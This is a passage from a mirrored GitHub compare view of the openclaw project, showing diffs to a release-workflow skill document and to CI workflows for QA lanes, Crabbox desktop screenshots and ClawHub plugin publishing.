mirror of
https://github.com/openclaw/openclaw.git
synced 2026-06-06 14:01:24 +08:00
Compare commits
53 Commits
codex/mark
...
v2026.5.3-
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2eae30e779 | ||
|
|
7847560771 | ||
|
|
2e37208e02 | ||
|
|
8919139bd7 | ||
|
|
06d46f7cf6 | ||
|
|
9c373aed44 | ||
|
|
0a59af2822 | ||
|
|
fc238e7a72 | ||
|
|
6c678c2ffe | ||
|
|
8e9f8e720d | ||
|
|
dff35a8acb | ||
|
|
504b294cdc | ||
|
|
d9abbb36d5 | ||
|
|
f1ab733cce | ||
|
|
eb8ba1d000 | ||
|
|
8243a8eb78 | ||
|
|
0077e9cdab | ||
|
|
c6c64e2acf | ||
|
|
89c8948e23 | ||
|
|
aab2a64781 | ||
|
|
7bc9bdad7b | ||
|
|
363b7fb260 | ||
|
|
6878c22de9 | ||
|
|
bd28223914 | ||
|
|
788c896715 | ||
|
|
39c11560ee | ||
|
|
e922bed9ce | ||
|
|
e5f4cb3644 | ||
|
|
b190fae70c | ||
|
|
df43768465 | ||
|
|
eadc3ee699 | ||
|
|
d35303582a | ||
|
|
6a1bcb1566 | ||
|
|
9f0a114dab | ||
|
|
62adabf3ce | ||
|
|
728cf41034 | ||
|
|
22c211cb1b | ||
|
|
a389d455c1 | ||
|
|
e5a1fa4c3b | ||
|
|
50f581d97c | ||
|
|
6658cf33ed | ||
|
|
130efb13ce | ||
|
|
c6473d6461 | ||
|
|
cc8ae6ee12 | ||
|
|
54493bde15 | ||
|
|
9c3919ccef | ||
|
|
d5254a7e43 | ||
|
|
6ffb3c3f3a | ||
|
|
70be1cbcd8 | ||
|
|
c28b0081eb | ||
|
|
c9a83707d5 | ||
|
|
d7ce1aafad | ||
|
|
6f0175779e |
@@ -46,17 +46,22 @@ Use this skill for release and publish-time workflow. Keep ordinary development
|
||||
recreate the tag and prerelease at the fixed commit so npm prerelease versions
|
||||
stay contiguous. If a published beta needs a fix, commit the fix on the
|
||||
release branch and increment to the next `-beta.N`.
|
||||
- For a beta release train, run the fast local preflight first, publish the
|
||||
beta to npm `beta`, then run the expensive published-package roster focused
|
||||
on install/update/Docker/Parallels/NPM Telegram. If anything fails, fix it on
|
||||
the release branch, commit/push/pull, increment beta number, and repeat. Run
|
||||
the full expensive roster at least once before stable/latest promotion; for
|
||||
later beta attempts, rerun only lanes whose evidence changed unless the fix
|
||||
touches broad release, install/update, plugin, Docker, Parallels, or live QA
|
||||
behavior. After each beta is published, scan current `main` once for critical
|
||||
fixes that landed after the release branch cut and backport only important
|
||||
low-risk fixes. Operators may authorize up to 4 autonomous beta attempts;
|
||||
after 4 failed beta attempts, stop and report.
|
||||
- For a beta release train, run the fast local preflight first, then publish all
|
||||
beta artifacts for the same version: core `openclaw` npm to dist-tag `beta`,
|
||||
all publishable `@openclaw/*` plugin npm packages to dist-tag `beta`, and all
|
||||
publishable plugins to ClawHub. A beta is not considered live or complete
|
||||
until core npm, plugin npm, and plugin ClawHub publishes are all done and
|
||||
verified for the exact same `YYYY.M.D-beta.N` version. Then run the expensive
|
||||
published-package roster focused on install/update/Docker/Parallels/NPM
|
||||
Telegram. If anything fails, fix it on the release branch, commit/push/pull,
|
||||
increment beta number, and repeat. Run the full expensive roster at least once
|
||||
before stable/latest promotion; for later beta attempts, rerun only lanes
|
||||
whose evidence changed unless the fix touches broad release, install/update,
|
||||
plugin, Docker, Parallels, or live QA behavior. After each complete beta is
|
||||
published, scan current `main` once for critical fixes that landed after the
|
||||
release branch cut and backport only important low-risk fixes. Operators may
|
||||
authorize up to 4 autonomous beta attempts; after 4 failed beta attempts, stop
|
||||
and report.
|
||||
- Use `/changelog` before version/tag preparation so the top changelog section
|
||||
is deduped and ordered by user impact.
|
||||
- Do not create beta-specific `CHANGELOG.md` headings. Beta releases use the
|
||||
@@ -75,6 +80,8 @@ Use this skill for release and publish-time workflow. Keep ordinary development
|
||||
- Prefer `-beta.N`; do not mint new `-1` or `-2` beta suffixes
|
||||
- `dev`: moving head on `main`
|
||||
- When using a beta Git tag, publish npm with the matching beta version suffix so the plain version is not consumed or blocked
|
||||
- When using a beta Git tag, publish all publishable plugins to npm and ClawHub
|
||||
with that same beta version. Do not stop after the core `openclaw` package.
|
||||
|
||||
## Handle versions and release files consistently
|
||||
|
||||
@@ -490,6 +497,11 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
|
||||
does not support trusted publishing for `npm dist-tag add`.
|
||||
- `@openclaw/*` plugin publishes use a separate maintainer-only flow.
|
||||
- Only publish plugins that already exist on npm; bundled disk-tree-only plugins stay unpublished.
|
||||
- Beta releases must run the plugin npm and plugin ClawHub flows as part of the
|
||||
release, not as optional follow-up work. If plugin npm or ClawHub publish
|
||||
fails after core npm is live, fix forward by incrementing to the next beta
|
||||
version and publish core plus plugins again; never call the prior beta done
|
||||
while plugin registries still point at an older beta.
|
||||
|
||||
## Fallback local mac publish
|
||||
|
||||
@@ -576,7 +588,22 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
|
||||
21. Wait for `npm-release` approval from `@openclaw/openclaw-release-managers`.
|
||||
22. Run postpublish verification:
|
||||
`node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>`.
|
||||
23. Run the post-published beta verification roster. First scan current `main`
|
||||
23. For beta releases, immediately publish all publishable plugins for the same
|
||||
version:
|
||||
- Dispatch `.github/workflows/plugin-npm-release.yml` from the release branch
|
||||
for all publishable plugins and npm dist-tag `beta`.
|
||||
- Dispatch `.github/workflows/plugin-clawhub-release.yml` from the release
|
||||
branch for all publishable plugins.
|
||||
- If either workflow reports failure after a publish step, verify npm and
|
||||
ClawHub directly before deciding whether it is a real publish failure or a
|
||||
registry-propagation/postpublish-check failure.
|
||||
24. Before calling a beta live, verify registry state directly:
|
||||
- `openclaw` npm `dist-tags.beta` points at `<beta-version>`.
|
||||
- every publishable `@openclaw/*` plugin npm package has `<beta-version>`
|
||||
and `dist-tags.beta` points at it.
|
||||
- every publishable ClawHub plugin has `<beta-version>`.
|
||||
If any plugin registry still points at an older beta, the beta is incomplete.
|
||||
25. Run the post-published beta verification roster. First scan current `main`
|
||||
for critical fixes that landed after the release branch cut; backport only
|
||||
important low-risk fixes before starting expensive lanes, or increment to
|
||||
the next beta if the fix must change the already-published package. If any
|
||||
@@ -590,11 +617,11 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
|
||||
If a pre-npm lane fails before any tag/package leaves the machine, fix and
|
||||
rerun the same intended beta attempt. Repeat up to the operator's
|
||||
authorized beta-attempt limit, normally 4.
|
||||
24. Announce the beta/stable release on Discord best-effort using Peter's bot
|
||||
26. Announce the beta/stable release on Discord best-effort using Peter's bot
|
||||
token from `.profile`.
|
||||
25. If the operator requested beta only, stop after beta verification and the
|
||||
27. If the operator requested beta only, stop after beta verification and the
|
||||
announcement.
|
||||
26. If the stable release was published to `beta`, use the light stable
|
||||
28. If the stable release was published to `beta`, use the light stable
|
||||
promotion roster when the matching beta already carried the full confidence
|
||||
pass: published npm postpublish verify, Docker install/update smoke,
|
||||
macOS-only Parallels install/update smoke, and required QA signal.
|
||||
@@ -602,24 +629,24 @@ node --import tsx scripts/openclaw-npm-postpublish-verify.ts <published-version>
|
||||
`openclaw/releases-private/.github/workflows/openclaw-npm-dist-tags.yml`
|
||||
workflow to promote that stable version from `beta` to `latest`, then
|
||||
verify `latest` now points at that version.
|
||||
27. If the stable release was published directly to `latest` and `beta` should
|
||||
29. If the stable release was published directly to `latest` and `beta` should
|
||||
follow it, start that same private dist-tag workflow to point `beta` at the
|
||||
stable version, then verify both `latest` and `beta` point at that version.
|
||||
28. For stable releases, start
|
||||
30. For stable releases, start
|
||||
`openclaw/releases-private/.github/workflows/openclaw-macos-publish.yml`
|
||||
for the real publish with the successful private mac `preflight_run_id` and
|
||||
wait for success.
|
||||
29. Verify the successful real private mac run uploaded the `.zip`, `.dmg`,
|
||||
31. Verify the successful real private mac run uploaded the `.zip`, `.dmg`,
|
||||
and `.dSYM.zip` artifacts to the existing GitHub release in
|
||||
`openclaw/openclaw`.
|
||||
30. For stable releases, download `macos-appcast-<tag>` from the successful
|
||||
32. For stable releases, download `macos-appcast-<tag>` from the successful
|
||||
private mac run, update `appcast.xml` on `main`, and verify the feed. Merge
|
||||
or cherry-pick release branch changes back to `main` after stable succeeds.
|
||||
31. For beta releases, publish the mac assets only when intentionally requested;
|
||||
33. For beta releases, publish the mac assets only when intentionally requested;
|
||||
expect no shared production
|
||||
`appcast.xml` artifact and do not update the shared production feed unless a
|
||||
separate beta feed exists.
|
||||
32. After publish, verify npm and the attached release artifacts.
|
||||
34. After publish, verify npm and the attached release artifacts.
|
||||
|
||||
## GHSA advisory work
|
||||
|
||||
|
||||
@@ -54,7 +54,7 @@ on:
|
||||
- qa-live
|
||||
- npm-telegram
|
||||
live_suite_filter:
|
||||
description: Optional exact live suite id for focused live/E2E reruns; blank runs all selected live suites
|
||||
description: Optional exact live/E2E suite id, or comma-separated QA live lanes such as qa-live-matrix,qa-live-telegram; blank runs all selected live suites
|
||||
required: false
|
||||
default: ""
|
||||
type: string
|
||||
|
||||
@@ -255,6 +255,24 @@ jobs:
|
||||
- name: Build Mantis harness
|
||||
run: pnpm build
|
||||
|
||||
- name: Install Crabbox CLI
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
install_dir="${RUNNER_TEMP}/crabbox"
|
||||
mkdir -p "$install_dir" "$HOME/.local/bin"
|
||||
gh release download \
|
||||
--repo openclaw/crabbox \
|
||||
--pattern 'crabbox_*_linux_amd64.tar.gz' \
|
||||
--dir "$install_dir" \
|
||||
--clobber
|
||||
tar -xzf "$install_dir"/crabbox_*_linux_amd64.tar.gz -C "$install_dir"
|
||||
install -m 0755 "$install_dir/crabbox" "$HOME/.local/bin/crabbox"
|
||||
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
|
||||
"$HOME/.local/bin/crabbox" --version
|
||||
|
||||
- name: Prepare baseline and candidate worktrees
|
||||
shell: bash
|
||||
env:
|
||||
@@ -285,6 +303,10 @@ jobs:
|
||||
OPENCLAW_QA_CONVEX_SECRET_CI: ${{ secrets.OPENCLAW_QA_CONVEX_SECRET_CI }}
|
||||
OPENCLAW_QA_REDACT_PUBLIC_METADATA: "1"
|
||||
OPENCLAW_QA_DISCORD_CAPTURE_CONTENT: "1"
|
||||
CRABBOX_COORDINATOR: ${{ secrets.CRABBOX_COORDINATOR }}
|
||||
CRABBOX_COORDINATOR_TOKEN: ${{ secrets.CRABBOX_COORDINATOR_TOKEN }}
|
||||
CRABBOX_ACCESS_CLIENT_ID: ${{ secrets.CRABBOX_ACCESS_CLIENT_ID }}
|
||||
CRABBOX_ACCESS_CLIENT_SECRET: ${{ secrets.CRABBOX_ACCESS_CLIENT_SECRET }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
@@ -299,6 +321,7 @@ jobs:
|
||||
require_var OPENAI_API_KEY
|
||||
require_var OPENCLAW_QA_CONVEX_SITE_URL
|
||||
require_var OPENCLAW_QA_CONVEX_SECRET_CI
|
||||
require_var CRABBOX_COORDINATOR_TOKEN
|
||||
|
||||
root=".artifacts/qa-e2e/mantis/discord-status-reactions"
|
||||
worktree_root=".artifacts/qa-e2e/mantis/discord-status-reactions-worktrees"
|
||||
@@ -328,6 +351,55 @@ jobs:
|
||||
run_lane baseline
|
||||
run_lane candidate
|
||||
|
||||
desktop_lease_id=""
|
||||
warmup_output="$(
|
||||
crabbox warmup \
|
||||
--provider hetzner \
|
||||
--desktop \
|
||||
--browser \
|
||||
--class standard \
|
||||
--idle-timeout 30m \
|
||||
--ttl 90m
|
||||
)"
|
||||
printf '%s\n' "$warmup_output" | tee "$root/crabbox-desktop-warmup.log"
|
||||
desktop_lease_id="$(printf '%s\n' "$warmup_output" | grep -Eo 'cbx_[a-f0-9]+' | head -n 1 || true)"
|
||||
if [[ ! "$desktop_lease_id" =~ ^cbx_[a-f0-9]+$ ]]; then
|
||||
echo "Crabbox desktop warmup did not return a lease id." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cleanup_desktop_lease() {
|
||||
if [[ -n "$desktop_lease_id" ]]; then
|
||||
crabbox stop --provider hetzner "$desktop_lease_id" || true
|
||||
fi
|
||||
}
|
||||
trap cleanup_desktop_lease EXIT
|
||||
|
||||
capture_desktop_lane() {
|
||||
local lane="$1"
|
||||
local html_file="$root/$lane/discord-status-reactions-tool-only-timeline.html"
|
||||
local desktop_dir="$root/$lane/desktop-browser"
|
||||
if [[ ! -f "$html_file" ]]; then
|
||||
echo "Missing desktop source HTML for ${lane}: ${html_file}" >&2
|
||||
exit 1
|
||||
fi
|
||||
local args=(
|
||||
openclaw qa mantis desktop-browser-smoke
|
||||
--html-file "$html_file"
|
||||
--output-dir "$desktop_dir"
|
||||
--provider hetzner
|
||||
--class standard
|
||||
--idle-timeout 30m
|
||||
--ttl 90m
|
||||
--lease-id "$desktop_lease_id"
|
||||
)
|
||||
pnpm "${args[@]}"
|
||||
cp "$desktop_dir/desktop-browser-smoke.png" "$root/$lane/discord-status-reactions-tool-only-desktop.png"
|
||||
}
|
||||
|
||||
capture_desktop_lane baseline
|
||||
capture_desktop_lane candidate
|
||||
|
||||
baseline_status="$(jq -r '.scenarios[0].status' "$root/baseline/discord-qa-summary.json")"
|
||||
candidate_status="$(jq -r '.scenarios[0].status' "$root/candidate/discord-qa-summary.json")"
|
||||
|
||||
@@ -351,6 +423,8 @@ jobs:
|
||||
echo "- Candidate status: \`${candidate_status}\`"
|
||||
echo "- Baseline screenshot: \`baseline/discord-status-reactions-tool-only-timeline.png\`"
|
||||
echo "- Candidate screenshot: \`candidate/discord-status-reactions-tool-only-timeline.png\`"
|
||||
echo "- Baseline desktop screenshot: \`baseline/discord-status-reactions-tool-only-desktop.png\`"
|
||||
echo "- Candidate desktop screenshot: \`candidate/discord-status-reactions-tool-only-desktop.png\`"
|
||||
} > "$root/mantis-report.md"
|
||||
|
||||
cat "$root/mantis-report.md" >> "$GITHUB_STEP_SUMMARY"
|
||||
@@ -409,7 +483,9 @@ jobs:
|
||||
for required in \
|
||||
"$root/comparison.json" \
|
||||
"$root/baseline/discord-status-reactions-tool-only-timeline.png" \
|
||||
"$root/candidate/discord-status-reactions-tool-only-timeline.png"
|
||||
"$root/candidate/discord-status-reactions-tool-only-timeline.png" \
|
||||
"$root/baseline/discord-status-reactions-tool-only-desktop.png" \
|
||||
"$root/candidate/discord-status-reactions-tool-only-desktop.png"
|
||||
do
|
||||
if [[ ! -f "$required" ]]; then
|
||||
echo "Missing required QA evidence file: $required" >&2
|
||||
@@ -435,6 +511,8 @@ jobs:
|
||||
mkdir -p "$artifacts_worktree/$artifact_root"
|
||||
cp "$root/baseline/discord-status-reactions-tool-only-timeline.png" "$artifacts_worktree/$artifact_root/baseline.png"
|
||||
cp "$root/candidate/discord-status-reactions-tool-only-timeline.png" "$artifacts_worktree/$artifact_root/candidate.png"
|
||||
cp "$root/baseline/discord-status-reactions-tool-only-desktop.png" "$artifacts_worktree/$artifact_root/baseline-desktop.png"
|
||||
cp "$root/candidate/discord-status-reactions-tool-only-desktop.png" "$artifacts_worktree/$artifact_root/candidate-desktop.png"
|
||||
cp "$root/comparison.json" "$artifacts_worktree/$artifact_root/comparison.json"
|
||||
cp "$root/mantis-report.md" "$artifacts_worktree/$artifact_root/mantis-report.md"
|
||||
|
||||
@@ -470,6 +548,10 @@ jobs:
|
||||
| --- | --- |
|
||||
| <img src="${raw_base}/baseline.png" width="420" alt="Baseline Discord status reaction timeline"> | <img src="${raw_base}/candidate.png" width="420" alt="Candidate Discord status reaction timeline"> |
|
||||
|
||||
| Baseline desktop/VNC browser | Candidate desktop/VNC browser |
|
||||
| --- | --- |
|
||||
| <img src="${raw_base}/baseline-desktop.png" width="420" alt="Baseline Mantis desktop browser screenshot"> | <img src="${raw_base}/candidate-desktop.png" width="420" alt="Candidate Mantis desktop browser screenshot"> |
|
||||
|
||||
Raw QA files: https://github.com/${GITHUB_REPOSITORY}/tree/qa-artifacts/${artifact_root}
|
||||
EOF
|
||||
|
||||
|
||||
66
.github/workflows/openclaw-release-checks.yml
vendored
66
.github/workflows/openclaw-release-checks.yml
vendored
@@ -54,7 +54,7 @@ on:
|
||||
- qa-parity
|
||||
- qa-live
|
||||
live_suite_filter:
|
||||
description: Optional exact live suite id for focused live/E2E reruns; blank runs all selected live suites
|
||||
description: Optional exact live/E2E suite id, or comma-separated QA live lanes such as qa-live-matrix,qa-live-telegram; blank runs all selected live suites
|
||||
required: false
|
||||
default: ""
|
||||
type: string
|
||||
@@ -88,6 +88,9 @@ jobs:
|
||||
release_profile: ${{ steps.inputs.outputs.release_profile }}
|
||||
rerun_group: ${{ steps.inputs.outputs.rerun_group }}
|
||||
live_suite_filter: ${{ steps.inputs.outputs.live_suite_filter }}
|
||||
qa_live_matrix_enabled: ${{ steps.inputs.outputs.qa_live_matrix_enabled }}
|
||||
qa_live_telegram_enabled: ${{ steps.inputs.outputs.qa_live_telegram_enabled }}
|
||||
qa_live_slack_enabled: ${{ steps.inputs.outputs.qa_live_slack_enabled }}
|
||||
package_acceptance_package_spec: ${{ steps.inputs.outputs.package_acceptance_package_spec }}
|
||||
steps:
|
||||
- name: Require main or release workflow ref for release checks
|
||||
@@ -208,6 +211,57 @@ jobs:
|
||||
RELEASE_PACKAGE_ACCEPTANCE_PACKAGE_SPEC_INPUT: ${{ inputs.package_acceptance_package_spec }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
qa_live_matrix_enabled=true
|
||||
qa_live_telegram_enabled=true
|
||||
qa_live_slack_enabled=true
|
||||
|
||||
filter="$(printf '%s' "$RELEASE_LIVE_SUITE_FILTER_INPUT" | tr '[:upper:]' '[:lower:]')"
|
||||
if [[ -n "${filter// }" ]]; then
|
||||
qa_filter_seen=false
|
||||
matrix_selected=false
|
||||
telegram_selected=false
|
||||
slack_selected=false
|
||||
|
||||
IFS=', ' read -r -a filter_tokens <<< "$filter"
|
||||
for token in "${filter_tokens[@]}"; do
|
||||
token="${token//$'\t'/}"
|
||||
token="${token//$'\r'/}"
|
||||
token="${token//$'\n'/}"
|
||||
[[ -z "$token" ]] && continue
|
||||
case "$token" in
|
||||
qa-live|qa-live-all|qa-all)
|
||||
qa_filter_seen=true
|
||||
matrix_selected=true
|
||||
telegram_selected=true
|
||||
slack_selected=true
|
||||
;;
|
||||
qa-live-non-slack|qa-non-slack|non-slack|no-slack|without-slack)
|
||||
qa_filter_seen=true
|
||||
matrix_selected=true
|
||||
telegram_selected=true
|
||||
;;
|
||||
qa-live-matrix|qa-matrix|matrix)
|
||||
qa_filter_seen=true
|
||||
matrix_selected=true
|
||||
;;
|
||||
qa-live-telegram|qa-telegram|telegram)
|
||||
qa_filter_seen=true
|
||||
telegram_selected=true
|
||||
;;
|
||||
qa-live-slack|qa-slack|slack)
|
||||
qa_filter_seen=true
|
||||
slack_selected=true
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ "$qa_filter_seen" == "true" ]]; then
|
||||
qa_live_matrix_enabled="$matrix_selected"
|
||||
qa_live_telegram_enabled="$telegram_selected"
|
||||
qa_live_slack_enabled="$slack_selected"
|
||||
fi
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'ref=%s\n' "$RELEASE_REF_INPUT"
|
||||
printf 'provider=%s\n' "$RELEASE_PROVIDER_INPUT"
|
||||
@@ -215,6 +269,9 @@ jobs:
|
||||
printf 'release_profile=%s\n' "$RELEASE_PROFILE_INPUT"
|
||||
printf 'rerun_group=%s\n' "$RELEASE_RERUN_GROUP_INPUT"
|
||||
printf 'live_suite_filter=%s\n' "$RELEASE_LIVE_SUITE_FILTER_INPUT"
|
||||
printf 'qa_live_matrix_enabled=%s\n' "$qa_live_matrix_enabled"
|
||||
printf 'qa_live_telegram_enabled=%s\n' "$qa_live_telegram_enabled"
|
||||
printf 'qa_live_slack_enabled=%s\n' "$qa_live_slack_enabled"
|
||||
printf 'package_acceptance_package_spec=%s\n' "$RELEASE_PACKAGE_ACCEPTANCE_PACKAGE_SPEC_INPUT"
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
|
||||
@@ -243,6 +300,7 @@ jobs:
|
||||
if [[ -n "${RELEASE_LIVE_SUITE_FILTER// }" ]]; then
|
||||
echo "- Live suite filter: \`${RELEASE_LIVE_SUITE_FILTER}\`"
|
||||
fi
|
||||
echo "- QA live lanes: Matrix \`${{ steps.inputs.outputs.qa_live_matrix_enabled }}\`, Telegram \`${{ steps.inputs.outputs.qa_live_telegram_enabled }}\`, Slack \`${{ steps.inputs.outputs.qa_live_slack_enabled }}\`"
|
||||
if [[ -n "${PACKAGE_ACCEPTANCE_PACKAGE_SPEC// }" ]]; then
|
||||
echo "- Package Acceptance package spec: \`${PACKAGE_ACCEPTANCE_PACKAGE_SPEC}\`"
|
||||
else
|
||||
@@ -655,7 +713,7 @@ jobs:
|
||||
qa_live_matrix_release_checks:
|
||||
name: Run QA Lab live Matrix lane
|
||||
needs: [resolve_target]
|
||||
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group)
|
||||
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group) && needs.resolve_target.outputs.qa_live_matrix_enabled == 'true'
|
||||
runs-on: blacksmith-8vcpu-ubuntu-2404
|
||||
timeout-minutes: 60
|
||||
permissions:
|
||||
@@ -732,7 +790,7 @@ jobs:
|
||||
qa_live_telegram_release_checks:
|
||||
name: Run QA Lab live Telegram lane
|
||||
needs: [resolve_target]
|
||||
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group)
|
||||
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group) && needs.resolve_target.outputs.qa_live_telegram_enabled == 'true'
|
||||
runs-on: blacksmith-8vcpu-ubuntu-2404
|
||||
timeout-minutes: 60
|
||||
permissions:
|
||||
@@ -825,7 +883,7 @@ jobs:
|
||||
qa_live_slack_release_checks:
|
||||
name: Run QA Lab live Slack lane
|
||||
needs: [resolve_target]
|
||||
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group)
|
||||
if: contains(fromJSON('["all","qa","qa-live"]'), needs.resolve_target.outputs.rerun_group) && needs.resolve_target.outputs.qa_live_slack_enabled == 'true'
|
||||
runs-on: blacksmith-8vcpu-ubuntu-2404
|
||||
timeout-minutes: 60
|
||||
permissions:
|
||||
|
||||
99
.github/workflows/plugin-clawhub-release.yml
vendored
99
.github/workflows/plugin-clawhub-release.yml
vendored
@@ -32,7 +32,7 @@ env:
|
||||
CLAWHUB_REGISTRY: "https://clawhub.ai"
|
||||
CLAWHUB_REPOSITORY: "openclaw/clawhub"
|
||||
# Pinned to a reviewed ClawHub commit so release behavior stays reproducible.
|
||||
CLAWHUB_REF: "199e6a0cdf32471702e0503e9899e8d24f06a527"
|
||||
CLAWHUB_REF: "facf20ceb6cc459e2872d941e71335a784bbc55c"
|
||||
|
||||
jobs:
|
||||
preview_plugins_clawhub:
|
||||
@@ -50,7 +50,7 @@ jobs:
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
ref: ${{ github.event_name == 'workflow_dispatch' && inputs.ref || github.sha }}
|
||||
ref: ${{ github.ref }}
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Setup Node environment
|
||||
@@ -62,14 +62,29 @@ jobs:
|
||||
|
||||
- name: Resolve checked-out ref
|
||||
id: ref
|
||||
run: echo "sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Validate ref is on main or a release branch
|
||||
env:
|
||||
TARGET_REF: ${{ github.event_name == 'workflow_dispatch' && inputs.ref || '' }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
git fetch --no-tags origin \
|
||||
+refs/heads/main:refs/remotes/origin/main \
|
||||
'+refs/heads/release/*:refs/remotes/origin/release/*'
|
||||
if [[ -n "${TARGET_REF}" ]]; then
|
||||
if git rev-parse --verify --quiet "${TARGET_REF}^{commit}" >/dev/null; then
|
||||
target_sha="$(git rev-parse "${TARGET_REF}^{commit}")"
|
||||
elif git rev-parse --verify --quiet "origin/${TARGET_REF}^{commit}" >/dev/null; then
|
||||
target_sha="$(git rev-parse "origin/${TARGET_REF}^{commit}")"
|
||||
else
|
||||
echo "Unable to resolve requested publish ref: ${TARGET_REF}" >&2
|
||||
exit 1
|
||||
fi
|
||||
git checkout --detach "${target_sha}"
|
||||
fi
|
||||
echo "sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Validate ref is on main or a release branch
|
||||
run: |
|
||||
set -euo pipefail
|
||||
if git merge-base --is-ancestor HEAD origin/main; then
|
||||
exit 0
|
||||
fi
|
||||
@@ -153,6 +168,12 @@ jobs:
|
||||
echo "::error::One or more selected plugin versions already exist on ClawHub. Bump the version before running a real publish."
|
||||
exit 1
|
||||
|
||||
- name: Verify OpenClaw ClawHub package ownership
|
||||
if: steps.plan.outputs.has_candidates == 'true'
|
||||
env:
|
||||
CLAWHUB_REGISTRY: ${{ env.CLAWHUB_REGISTRY }}
|
||||
run: node --import tsx scripts/plugin-clawhub-owner-preflight.ts .local/plugin-clawhub-release-plan.json
|
||||
|
||||
preview_plugin_pack:
|
||||
needs: preview_plugins_clawhub
|
||||
if: needs.preview_plugins_clawhub.outputs.has_candidates == 'true'
|
||||
@@ -161,7 +182,7 @@ jobs:
|
||||
contents: read
|
||||
strategy:
|
||||
fail-fast: false
|
||||
max-parallel: 1
|
||||
max-parallel: 6
|
||||
matrix:
|
||||
plugin: ${{ fromJson(needs.preview_plugins_clawhub.outputs.matrix) }}
|
||||
steps:
|
||||
@@ -169,8 +190,18 @@ jobs:
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
ref: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
|
||||
fetch-depth: 1
|
||||
ref: ${{ github.ref }}
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Checkout target revision
|
||||
env:
|
||||
TARGET_SHA: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
git fetch --no-tags origin \
|
||||
+refs/heads/main:refs/remotes/origin/main \
|
||||
'+refs/heads/release/*:refs/remotes/origin/release/*'
|
||||
git checkout --detach "${TARGET_SHA}"
|
||||
|
||||
- name: Setup Node environment
|
||||
uses: ./.github/actions/setup-node-env
|
||||
@@ -185,9 +216,15 @@ jobs:
|
||||
with:
|
||||
persist-credentials: false
|
||||
repository: ${{ env.CLAWHUB_REPOSITORY }}
|
||||
ref: ${{ env.CLAWHUB_REF }}
|
||||
ref: main
|
||||
path: clawhub-source
|
||||
fetch-depth: 1
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Checkout pinned ClawHub CLI revision
|
||||
working-directory: clawhub-source
|
||||
env:
|
||||
CLAWHUB_REF: ${{ env.CLAWHUB_REF }}
|
||||
run: git checkout --detach "${CLAWHUB_REF}"
|
||||
|
||||
- name: Install ClawHub CLI dependencies
|
||||
working-directory: clawhub-source
|
||||
@@ -203,6 +240,9 @@ jobs:
|
||||
chmod +x "$RUNNER_TEMP/clawhub"
|
||||
echo "$RUNNER_TEMP" >> "$GITHUB_PATH"
|
||||
|
||||
- name: Verify package-local runtime build
|
||||
run: pnpm release:plugins:npm:runtime:check --package "${{ matrix.plugin.packageDir }}"
|
||||
|
||||
- name: Preview publish command
|
||||
env:
|
||||
CLAWHUB_REGISTRY: ${{ env.CLAWHUB_REGISTRY }}
|
||||
@@ -223,6 +263,7 @@ jobs:
|
||||
id-token: write
|
||||
strategy:
|
||||
fail-fast: false
|
||||
max-parallel: 6
|
||||
matrix:
|
||||
plugin: ${{ fromJson(needs.preview_plugins_clawhub.outputs.matrix) }}
|
||||
steps:
|
||||
@@ -230,8 +271,18 @@ jobs:
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
ref: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
|
||||
fetch-depth: 1
|
||||
ref: ${{ github.ref }}
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Checkout target revision
|
||||
env:
|
||||
TARGET_SHA: ${{ needs.preview_plugins_clawhub.outputs.ref_revision }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
git fetch --no-tags origin \
|
||||
+refs/heads/main:refs/remotes/origin/main \
|
||||
'+refs/heads/release/*:refs/remotes/origin/release/*'
|
||||
git checkout --detach "${TARGET_SHA}"
|
||||
|
||||
- name: Setup Node environment
|
||||
uses: ./.github/actions/setup-node-env
|
||||
@@ -246,9 +297,15 @@ jobs:
|
||||
with:
|
||||
persist-credentials: false
|
||||
repository: ${{ env.CLAWHUB_REPOSITORY }}
|
||||
ref: ${{ env.CLAWHUB_REF }}
|
||||
ref: main
|
||||
path: clawhub-source
|
||||
fetch-depth: 1
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Checkout pinned ClawHub CLI revision
|
||||
working-directory: clawhub-source
|
||||
env:
|
||||
CLAWHUB_REF: ${{ env.CLAWHUB_REF }}
|
||||
run: git checkout --detach "${CLAWHUB_REF}"
|
||||
|
||||
- name: Install ClawHub CLI dependencies
|
||||
working-directory: clawhub-source
|
||||
@@ -304,7 +361,19 @@ jobs:
|
||||
encoded_name="$(node -e 'console.log(encodeURIComponent(process.env.PACKAGE_NAME ?? ""))')"
|
||||
